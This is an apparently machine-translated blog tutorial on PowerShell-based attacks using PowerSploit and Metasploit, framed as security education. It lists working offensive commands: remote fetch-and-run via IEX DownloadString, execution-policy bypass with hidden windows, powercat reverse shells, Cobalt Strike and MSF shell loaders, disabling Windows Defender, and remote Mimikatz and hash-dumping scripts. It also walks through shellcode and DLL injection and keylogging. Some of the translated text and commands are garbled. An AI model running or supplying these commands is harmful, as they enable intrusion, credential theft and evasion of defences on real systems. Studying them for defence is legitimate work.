В этой серии статей систематически и углубленно изучается безопасность системы, обратный анализ и обнаружение вредоносного кода. Статьи будут более целенаправленными, более систематическими и более глубокими. Это также история медленного роста автора. Долгий путь ведет к горе Хушань. Наслаждайтесь процессом и усердно работайте вместе~
Если вы хотите лучше обнаруживать вредоносные скрипты, вам необходимо сначала понять их основные функции и принципы. В предыдущей статье были представлены базовые вводные знания о Powershell, включая условные операторы, операторы цикла, массивы, функции, строковые операции, доступ к реестру и т. д. В этой статье будут подробно описаны атаки с использованием сценариев PowerShell и PowerSploit, а также объединено использование уязвимостей MSF для реализации атак с использованием сценариев. Я надеюсь, что эта статья будет полезна для вас, и я надеюсь, что она поможет большему количеству новичков в области безопасности или красно-синей конфронтации. Пожалуйста, прочитайте ее и дорожите ею. Эта статья ссылается на «Практическое руководство по тестированию на проникновение в систему веб-безопасности и защите» г-на Сюй Яня и блог Се Гунцзы и обобщает их на основе предыдущих блогов и опыта автора.
Будучи новичком в области сетевой безопасности, автор делится со всеми базовыми руководствами для самостоятельного изучения. Надеюсь, они вам понравятся. В то же время у этих больших парней действительно стоит поучиться, и я хотел бы предложить бой на коленях моему младшему брату~!
Каталог статей:
Ресурсы автора на github:
Будучи новичком в области сетевой безопасности, автор делится со всеми базовыми руководствами для самостоятельного обучения, в основном онлайн-заметками об инструментах безопасности и практических операциях. Надеюсь, вам это понравится. В то же время я надеюсь, что вы сможете работать и добиваться прогресса вместе со мной. В будущем я узнаю больше о сетевой безопасности и безопасности системы и поделюсь соответствующими экспериментами. Короче говоря, надеюсь, эта серия статей будет полезна блоггерам. Написание статей – дело непростое. Если мастерам это не нравится, прошу не комментировать. Спасибо! Если статья окажется для вас полезной, это будет самой большой мотивацией для моего творчества. Ставьте лайк, оставляйте комментарии или пишите мне в личные сообщения. Давайте работать вместе!
Заявление: Я решительно выступаю против использования методов обучения для совершения преступлений. Все преступные деяния будут строго наказываться. Зеленые сети необходимо поддерживать вместе. Я также рекомендую всем понимать лежащие в их основе принципы и лучше их защищать. (см. ссылки ниже)
В тестировании на проникновение Powershell является связующим звеном, которое нельзя игнорировать, и он все еще постоянно обновляется и развивается. Он обладает хорошей гибкостью и возможностью функционального управления системами Windows. Как только злоумышленник сможет запустить код на компьютере, файл сценария PowerShell (.ps1) будет загружен на диск для выполнения. Его можно будет запустить непосредственно в памяти, даже не записывая на диск для выполнения.
Эти характеристики делают PowerShell предпочтительным методом атаки для злоумышленников при получении и сохранении доступа к системе. Используя многие характеристики PowerShell, злоумышленники могут продолжать атаки, не будучи легко обнаруженными. К наиболее часто используемым инструментам атаки PowerShell относятся следующие.
Windows PowerShell — это оболочка командной строки и среда сценариев, встроенная в Windows 7 и более поздние версии, позволяющая пользователям командной строки и авторам сценариев воспользоваться преимуществами .NET Framework. В нем представлено множество новых полезных концепций, которые еще больше расширяют получаемые вами знания и сценарии, которые вы создаете в средах командной строки Windows и Windows Script Host.
Версии PowerShell для каждой операционной системы Windows следующие:
Как только злоумышленник запустит код на компьютере, он загрузит файл сценария PowerShell (.ps1) на диск для выполнения. Ему даже не нужно записывать его на диск для выполнения. Он может запустить его прямо в памяти (без файла). атаку), или они могут думать о PowerShell как о расширении командной строки cmd.exe.
В 64-битных операционных системах Windows существуют две версии PowerShell: x64 и x86. Стратегии выполнения этих двух версий не влияют друг на друга и могут рассматриваться как две независимые программы. Файл конфигурации версии x64 находится по следующему пути. PowerShell состоит из двух компонентов приложения: стандартной текстовой консоли (powershell.exe) и графического интерфейса интегрированной командной среды (ISE: powershell_ise.exe).
Традиционный CMD поддерживает сценарии, но его масштабируемость не очень хороша, в то время как Powershell похож на оболочку Linux и имеет преимущества лучшей удаленной обработки, рабочего процесса, обновляемой справки, запланированных задач (запланированное задание), CIM и других преимуществ.
(1) Во-первых, как войти в Powershell? Один из способов — напрямую войти в Powershell, чтобы открыть его во время работы, а другой — войти в Powershell, чтобы открыть его в CMD.
Встроенный Powershell в разных операционных системах различен, например, win7 или win2008.
(2) Во-вторых, как проверить версию? Первая команда выглядит следующим образом:
Get-Host
Результат такой, как показано ниже:
Другая команда:
$psversiontable
В то же время Powershell может получить сведения об обслуживании, статусе и т. д. компьютера.
get-service
Результат отображения такой, как показано на рисунке ниже, с использованием метода именования глагол + существительное, который относительно ясен.
(3) Кратко суммируйте преимущества PowerShell. PowerShell требует поддержки среды .NET и поддерживает объекты .NET. Его читабельность и простота использования занимают первое место среди всех существующих оболочек. Эти возможности PowerShell привлекают злоумышленников, благодаря чему он постепенно становится очень популярным и мощным инструментом атак. Поскольку Powershell обладает следующими характеристиками, он широко используется в области безопасности и даже стал технологией, которую должен освоить каждый веб-безопасник. Общие преимущества включают в себя:
(1) файл PS1 Сценарий PowerShell на самом деле представляет собой простой текстовый файл. Этот файл содержит ряд команд PowerShell. Каждая команда отображается как независимая строка. Чтобы текстовый файл считался сценарием PowerShell, его имя должно иметь расширение .PS1. . имя.
(2) стратегия исполнения
Чтобы предотвратить выполнение вредоносных скриптов, в PowerShell есть стратегия по умолчанию выполняет эту стратегию Форма устанавливается первой. Если сценарий PowerShell не может быть выполнен, вы можете использовать следующее Get-ExecutionPolicy
Команда для определения текущей стратегии исполнение. Он включает в себя 4 стратегии:
Мы также можем настроить стратегию работы PowerShell, используя приведенную ниже команду командлета.
(3) Запустить сценарий Чтобы запустить сценарий PowerShell, необходимо ввести полный путь и имя файла. Например, если вы хотите запустить сценарий с именем a.ps1, введите C:\Scripts\a.ps1. Самым большим исключением является то, что если файл сценария PowerShell находится в системном каталоге, вы можете запустить имя файла сценария, введя непосредственно в командной строке, например .\a.ps1 с ".\" перед это то же самое, что добавить ".\" перед .\a.ps1. Метод запуска сценария Shell в Linux тот же.
(4) Трубопровод Функция конвейера PowerShell заключается в использовании выходных данных одной команды в качестве входных данных для другой команды, и эти две команды соединяются символом вертикальной черты (|). В качестве примера, чтобы увидеть, как работают каналы, предположим, что вы остановили все запущенные в данный момент программы, имена которых начинаются с символа «p». Команда выглядит следующим образом:
Каналы — не новая вещь. В предыдущей консоли Cmd также были команды перенаправления, такие как Dir | More, которые могут отображать результаты на разделенном экране. Традиционные конвейеры Cmd основаны на тексте, а конвейеры Powershell — на объектной основе. Например:
linux:ls
cmd:dir
Если вы хотите получить только значения имени и режима, используйте следующие инструкции.
ls | format-table name, mode
В PowerShell команды, подобные «cmd», называются «командлетами», и соглашения об их именах вполне согласованы. Все они принимают форму «глагол-существительное», например «Новый-элемент». Часть глагола обычно выглядит как «Добавить», «Новый», «Новый». Именованные псевдонимы Get, Remove, Set и т. д. обычно совместимы с командами Windows и оболочкой Linux. Например, команда Get-ChildItem может использовать dir или ls, а команды PowerShell не чувствительны к регистру.
Ниже в качестве примера используются файловые операции, объясняющие базовое использование команд PowerShell.
Приведите простой пример:
New-Item test -ItemType directory
Remove-Item test
New-Item eastmount.txt -ItemType file -value "hello csdn"
Get-Content eastmount.txt
Add-Content eastmount.txt -Value " bye!"
Get-Content eastmount.txt
Set-Content eastmount.txt -Value "haha"
Get-Content eastmount.txt
Clear-Content eastmount.txt
Get-Content eastmount.txt
Remove-Item eastmount.txt
Get-Content eastmount.txt
Аналогичным образом мы также можем ввести «PowerShell» через приглашение терминала Windows, чтобы войти в командную строку PowerShell, и ввести команду справки, чтобы отобразить меню справки.
После тестирования скрипт PowerShell, загруженный в процессе выполнения окна cmd, может быть запущен напрямую независимо от текущей политики. Если вы хотите запустить программу-скрипт в окне PowerShell, у вас должны быть права администратора, чтобы изменить политику «Ограниченно» на «Неограниченно». Поэтому при проникновении вам необходимо использовать некоторые методы обхода политики для выполнения сценария.
(1) Загрузите удаленный сценарий PowerShell, чтобы обойти выполнение разрешений. Вызовите функцию DownloadString, чтобы загрузить удаленный файл сценария PS1.
//окно cmd выполняет следующие команды
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
//Выполнить в окне PowerShell
IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
На рисунке ниже цитируется изображение г-на Се. Для запуска переключитесь в окно CMD.
(2) Обход выполнения локального разрешения Загрузите xxx.ps1 на целевой сервер и выполните сценарий локально на целевом сервере в среде CMD, как показано ниже.
PowerShell.exe -ExcutionPolicy Bypass -File xxx.ps1
powershell -exec bypass .\test.ps1
(3) Сценарий выполнения локального скрытого обхода разрешений
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo
-NonInteractive -NoProfile -File xxx.ps1
Например:
(4) Используйте IEX для загрузки удаленных сценариев PS1, чтобы обойти выполнение разрешений.
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile
-NonIIEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
Параметры вышеуказанной команды объяснены ниже, как показано ниже.
Опять же, сценарии PowerShell по умолчанию не могут выполняться напрямую. Вы можете использовать описанный выше метод, чтобы обойти политику безопасности и запустить сценарий PowerShell, как показано на рисунке ниже.
PowerShell.exe -ExecutionPolicy Bypass -File .\test.ps1
путем увеличения -ExecutionPolicy Bypass
Реализуйте политику обхода безопасности и запустите выходные результаты.
Локально мы видим файл test.ps1.
В этой части я узнал из резюме г-на Се Гунцзы. Конечно, во второй части я подробно представил использование сочетания с проникновением.
Файл загрузки окна CMD В каталог диска С можно загрузить только права администратора, а на диск С обычные права загрузить нельзя.
//Скачиваем файл в указанную директорию
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');
//Загружаем файл в текущий каталог
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');
Окно CMD загружает файл и запускает exe.
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.exe
Окно CMD загружает файлы и выполняет сценарии PS1
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
Загрузите скрипт powercat.ps1 удаленно,И запустить с параметрами,Эта команда может обойти стратегию исполнения PowerShell.
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
Отключите брандмауэр Защитника, поставляемый с Windows (требуются права администратора).
powershell Set-MpPreference -disablerealtimeMonitoring $true
Выполните в окне CMD, чтобы загрузить test.exe с удаленного хоста на локальный.
powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');
Используйте PowerShell для восстановления оболочки NC в окне CMD.
//Выполнить в окне cmd
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
//Выполнить в окне PowerShell
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
Используйте PowerShell, чтобы переместить CobaltStrike Shell под окно CMD.
//Выполнить в окне cmd
powershell.exe -c IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))
//Выполнить в окне PowerShell
IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))
Используйте PowerShell для повторного подключения оболочки MSF в окне CMD.
//Выполнить в окне cmd
powershell -c IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
//Выполнить в окне PowerShell
IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
Удаленно загрузите сценарий PowerShell для чтения паролей в виде открытого текста (требуются права администратора).
//Выполнить в окне cmd
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
//Выполнить в окне PowerShell
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
Удаленно загрузите сценарий PowerShell, чтобы прочитать хеш-значение пароля в виде обычного текста (требуются права администратора).
//Выполнить в окне cmd
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
//Выполнить в окне PowerShell
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
В большие проекты PowerShell обычно включаются файлы суффиксов .ps1, .psd1 и .psm1. Например, Powersploit.
Среди них файлы psm1 и psd1 можно импортировать с помощью следующих команд.
Import-Module .\PowerSploit.psm1
Import-Module .\PowerSploit.psd1
Команда ввода модуля импорта:
Для файлов .ps1 вы можете использовать Import-Module или .
Import-Module .\Get-Information.ps1
. .\Get-Information.ps1
PowerSploit — это программное обеспечение для пост-эксплуатации, основанное на PowerShell. Оно содержит множество сценариев атак PowerShell, которые в основном используются для сбора информации, повышения привилегий и поддержания привилегий во время проникновения. В функции каждого модуля PowerSploit входят:
Его адрес GitHub:
Первый шаг — загрузить ресурсы PowerSploit. Мы можем использовать команду git для загрузки программы в Kali.
Если ошибка загрузки — «git Fatal: невозможно получить доступ к проверке сертификата сервера, не удалось. CAfile: none CRLfile: none», читатели могут загрузить его непосредственно с github и переместить в указанный Kali каталог.
Второй шаг — разархивировать файл.
Распакованный файл выглядит следующим образом:
Третий шаг — переместить распакованную папку в каталог /var/www/html, а затем собрать простой сервер.
Четвертый шаг — запуск сервера Apache.
Доступ к нему с использованием IP-адреса в локальном браузере подтверждает результаты настроек нашего сервера Apache.
Далее используем в Кали reverse_https
модуль подпрыгиваетshell。
Первый шаг — открыть msfconsole.
Второй шаг — настроить модуль windows/x64/meterpreter/reverse_https в msf для восстановления и включения мониторинга.
Тогда операция находится в состоянии прослушивания.
Сценарий Invoke-Shellcode в модуле CodeExecution часто используется для вставки Shellcode в указанный идентификатор процесса или локальный PowerShell. Ниже представлены два распространенных метода повторного подключения Meterpreter Shell.
Первый метод: напрямую выполнить шеллкод для восстановления оболочки Meterpreter.
Первым шагом является использование MSF для мониторинга с использованием предыдущих шагов.
msf5 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://192.168.59.128:4444
Второй шаг — использовать команду msfvenom для создания трояна-скрипта powershell.
Сгенерированный скрипт находится в каталоге /var/www/html, а его код показан ниже:
Третий шаг — ввести следующую команду в Powershell целевого компьютера, чтобы загрузить скрипт.
Распространенные решения ошибок Первая ошибка – это сообщение «Заблокировано антивирусным ПО».
На этом этапе нам нужно настроить проблему перехвата брандмауэра и разрешить запуск PowerShell.
Если он все же перехватывается, для запуска PowerSploit могут потребоваться права администратора. Способ настройки следующий:
Четвертый шаг — ввести следующую команду для загрузки трояна.
Шаг 5: Запустите следующую команду. -Force означает прямое выполнение без запроса.
Само собой разумеется, что после завершения этого шага, когда вы вернетесь к интерфейсу мониторинга MSF, вы обнаружите, что восстановление прошло успешно. Однако мой Powershell сообщит об ошибке или сбое после запуска команды. является экологической проблемой.
Правильный результат бега показан на рисунке ниже:
Второй метод: укажите процесс внедрения шеллкода для восстановления Meterpreter Shell.
Первым шагом является также ввод команды в Powershell целевой машины для загрузки сценария и трояна.
IEX (New-Object Net.WebClient).DownloadString("http://192.168.44.138/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://192.168.44.138/test")
На втором этапе введите команду Get-Process или команду ps, чтобы просмотреть текущий процесс.
Третий шаг — ввести команду для создания нового процесса и сделать его скрытым.
Четвертый шаг — ввести команду Get-Process для просмотра процесса. Вы можете видеть, что существует дополнительный процесс с именем «Блокнот» с идентификатором 2580.
Пятый шаг — использование сценария Invoke-Shellcode для внедрения процесса.
nvoke-Portscan — это скрипт модуля Recon. Он в основном используется для сканирования портов и относительно прост в использовании. Как его использовать, заключается в следующем.
Первый шаг — загрузить скрипт, а затем отсканировать его.
На втором этапе используйте следующую команду для сканирования порта.
Было обнаружено, что 1 открыл порты 445 и 3389, а 138 открыл порт 80.
Invoke-Mimikatz — это скрипт модуля «Эксфильтрация».
Первый шаг — скачать скрипт.
Второй шаг — выполнить команду для использования атаки Mimikatz, инструмента для захвата паролей.
PS C:\> Invoke-Mimikatz -DumpCreds
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005) #reporterror
mimikatz(powershell) # exit
Bye!
PS C:\>
Затем используйте другой сценарий Invoke-DllInjection в модуле CodeExecution, который представляет собой сценарий внедрения DLL.
Первым шагом является настройка мониторинга в MSF и использование следующей команды для создания трояна с отскоком dll в Kali.
Сгенерированный файл внедрения test.dll показан ниже:
Второй шаг — загрузить сценарий на целевой компьютер и ввести следующую команду.
Третий шаг — запустить новый процесс и использовать сценарий Invoke-Shellcode для внедрения процесса.
Четвертый шаг — внедрить следующую команду.
Однако восстановление MSF так и не удалось.
Get-Keystrokes — это скрипт в модуле «Эксфильтрация». Он используется для ведения кейлогинга. Он имеет очень мощную функцию. Он не только записывает ввод с клавиатуры, но также может записывать щелчки мыши и подробное время. Его можно запускать непосредственно в фоновом режиме. настоящий бой. Как его использовать, заключается в следующем.
Первый шаг — скачать скрипт.
Вторым шагом является команда на включение кейлоггера.
Третий шаг — сохранить соответствующую информацию.
AntivirusBypass (обход антивируса)
CodeExecution (выполнение кода)
Эксфильтрация (сбор информации): в основном собирает информацию о целевом хосте.
Recon (информационная разведка): эта папка в основном используется для разведки узла интрасети с использованием целевого узла в качестве трамплина.
ScriptModification (модификация скрипта)
Постоянство (сохранение разрешений)
Privesc (повышение привилегий)
Mayhem
На этом введение этой статьи закончено. Надеюсь, она будет вам полезна, продолжайте в том же духе~.
Если в этой статье есть какие-либо недостатки, пожалуйста, простите меня. Путь медленного роста автора как новичка в области сетевой безопасности! Надеюсь в будущем написать более подробные статьи об этом. В то же время я очень благодарен экспертам по безопасности в справочной литературе за то, что они поделились своими статьями. Я знаю, что у меня это плохо получается и мне придется много работать, чтобы двигаться вперед.
(Автор: Eastmount, 16 декабря 2022 г., Ночь на Марсе)
Справочная статья выглядит следующим образом: спасибо этим большим ребятам.